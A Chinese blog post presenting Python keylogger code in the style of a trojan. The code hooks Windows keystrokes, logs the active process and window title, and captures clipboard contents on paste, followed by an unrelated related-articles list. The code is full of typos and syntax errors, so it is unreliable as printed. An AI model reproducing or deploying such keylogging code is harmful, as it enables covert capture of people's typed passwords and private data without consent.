Python告诉你木马程序的键盘记录原理


Posted in Python onFebruary 02, 2019

前言

Python keylogger键盘记录的功能的实现主要利用了pythoncom及pythonhook,然后就是对windows API的各种调用。Python之所以用起来方便快捷,主要归功于这些庞大的支持库,正所谓"人生苦短,快用Python"。

# -*- coding: utf-8 -*-
from ctypes inport
import pythoncom
import pyHook
import win32clipboard
user32 = winddll.user32
kernel32 = windll.kernel32
psapi = windll.psapi
current_window = Note
def get_current_process():
#获取最上层的窗句柄
hwnd = user32.GetForegroundWindow()
#获取进程ID
pid = c_ulong(0)
user32. GetwindowThreadProcessId(hwnd,byref(pid))
#将进程ID存入变量中
process_ = "%d" % pid.value
#申请内存
executable = create_string_buffer("\x00"*522)
h_process = kernel32.OpenProcess(0x400 | 0x10,False,pid)
psapi.GetModuleBaseNameA(h_process,None,byref(executable),512)
#读取窗口标题
windows_title = create_string_buffer("\x00",512)
length = user32.GetWindowTextA(hwnd,byref(windows.title),512)
#打印
print
print "[PID:%s-%s-%s]" %(process_id,executable.value,windows_title.value)
print
#关闭handles
kernel32.CloseHandle(hwnd)
kernel32.CloseHandle(h_process)
#关闭键盘监听事件函数
def KeyStroke(event):
global current_window
#检测目标窗口是否转移(换了其他窗口就监听新窗口)
if event,WindowName !=current_window:
current_window = event.WindowName
#函数调用
get_current_process()
#检测击键是否常规按键(非组合键等)
if event.Ascii>32 and enent .Ascii <127 :
print chr(event.Ascii),
else:
#如果发现ctrl + V事件,就粘贴板内容记录下来
if event.Key == "V"
win32clipboard.OpenClipdoard()
pasted_value = win32clipdoard. GetClipdoardData()
win32clipdoard.CloseClipboard()
print "[PASTE]-%s" %(pasted_value),
else:
print "[%s]" %event.Key,
循环监听下一个事件
return True
#创建并注册hook管理器
kl = pyHook.HookManager()
kl.KeyDown = KeyStroke
#注册hook并兴趣
kl.hookKeyboard()
pythoncom.PumpMessages()

总结

以上就是这篇文章的全部内容了,希望本文的内容对大家的学习或者工作具有一定的参考学习价值,谢谢大家对三水点靠木的支持。如果你想了解更多相关内容请查看下面相关链接

Python 相关文章推荐
python 布尔操作实现代码
Mar 23 Python
python中的装饰器详解
Apr 13 Python
Python安装官方whl包和tar.gz包的方法(推荐)
Jun 04 Python
python调用Delphi写的Dll代码示例
Dec 05 Python
python3.4 将16进制转成字符串的实例
Jun 12 Python
python爬虫 基于requests模块的get请求实现详解
Aug 20 Python
Pycharm中Python环境配置常见问题解析
Jan 16 Python
python简单利用字典破解zip文件口令
Sep 07 Python
Python在后台自动解压各种压缩文件的实现方法
Nov 10 Python
PyTorch预训练Bert模型的示例
Nov 17 Python
python RSA加密的示例
Dec 09 Python
解决pip安装tensorflow中出现的no module named tensorflow.python 问题方法
Feb 20 Python
Python实现DDos攻击实例详解
Feb 02 #Python
Python实现SQL注入检测插件实例代码
Feb 02 #Python
Django uwsgi Nginx 的生产环境部署详解
Feb 02 #Python
python实现一个简单的udp通信的示例代码
Feb 01 #Python
Python读取指定日期邮件的实例
Feb 01 #Python
Python 利用切片从列表中取出一部分使用的方法
Feb 01 #Python
对pandas通过索引提取dataframe的行方法详解
Feb 01 #Python
You might like
一致性哈希算法以及其PHP实现详细解析
2013/08/24 PHP
php 使用curl模拟登录人人(校内)网的简单实例
2016/06/06 PHP
PHP数据库编程之MySQL优化策略概述
2017/08/16 PHP
php把字符串指定字符分割成数组的方法
2018/03/12 PHP
thinkphp5实现无限级分类
2019/02/18 PHP
php ActiveMQ的安装与使用方法图文教程
2020/02/23 PHP
用tip解决Ext列宽度不够的问题
2008/12/13 Javascript
基于jquery的inputlimiter 实现字数限制功能
2010/05/30 Javascript
原生JS可拖动弹窗效果实例代码
2013/11/09 Javascript
javascript拖拽上传类库DropzoneJS使用方法
2013/12/05 Javascript
Asp.Net alert弹出提示信息的几种方法总结
2014/01/29 Javascript
IE浏览器不支持getElementsByClassName的解决方法
2014/08/27 Javascript
JavaScript高级程序设计(第三版)学习笔记6、7章
2016/03/11 Javascript
Jquery实现遮罩层的简单实例(就是弹出DIV周围都灰色不能操作)
2016/07/14 Javascript
简易的JS计算器实现代码
2016/10/18 Javascript
Jquery Easyui分割按钮组件SplitButton使用详解(17)
2016/12/18 Javascript
jQuery使用zTree插件实现可拖拽的树示例
2017/09/23 jQuery
AngularJS 多指令Scope问题的解决
2018/10/25 Javascript
Vue组件间通信 Vuex的用法解析
2019/08/05 Javascript
[00:19]CN DOTA NEVER DIE!VG夺冠rOtK接受采访
2019/12/23 DOTA
python元组操作实例解析
2014/09/23 Python
python爬虫实战之爬取京东商城实例教程
2017/04/24 Python
Python如何发布程序的详细教程
2018/10/09 Python
python numpy 按行归一化的实例
2019/01/21 Python
Jupyter打开图形界面并画出正弦函数图像实例
2020/04/24 Python
Python pymsql模块的使用
2020/09/07 Python
Python Selenium操作Cookie的实例方法
2021/02/28 Python
HTML5实现分享到微信好友朋友圈QQ好友QQ空间微博二维码功能
2018/01/03 HTML / CSS
用HTML5中的Canvas结合公式绘制粒子运动的教程
2015/05/08 HTML / CSS
早晨薰衣草在线女性精品店:Morning Lavender
2021/01/04 全球购物
高级Java程序员面试要点
2013/08/02 面试题
前台文员的岗位职责
2013/11/14 职场文书
家长对学校的意见和建议
2015/06/03 职场文书
《老人与海鸥》教学反思
2016/02/16 职场文书
《艾尔登法环》Boss腐烂树灵很有可能是《黑暗之魂3》的一个废案
2022/04/11 其他游戏
Java实现超大Excel文件解析(XSSF,SXSSF,easyExcel)
2022/07/15 Java/Android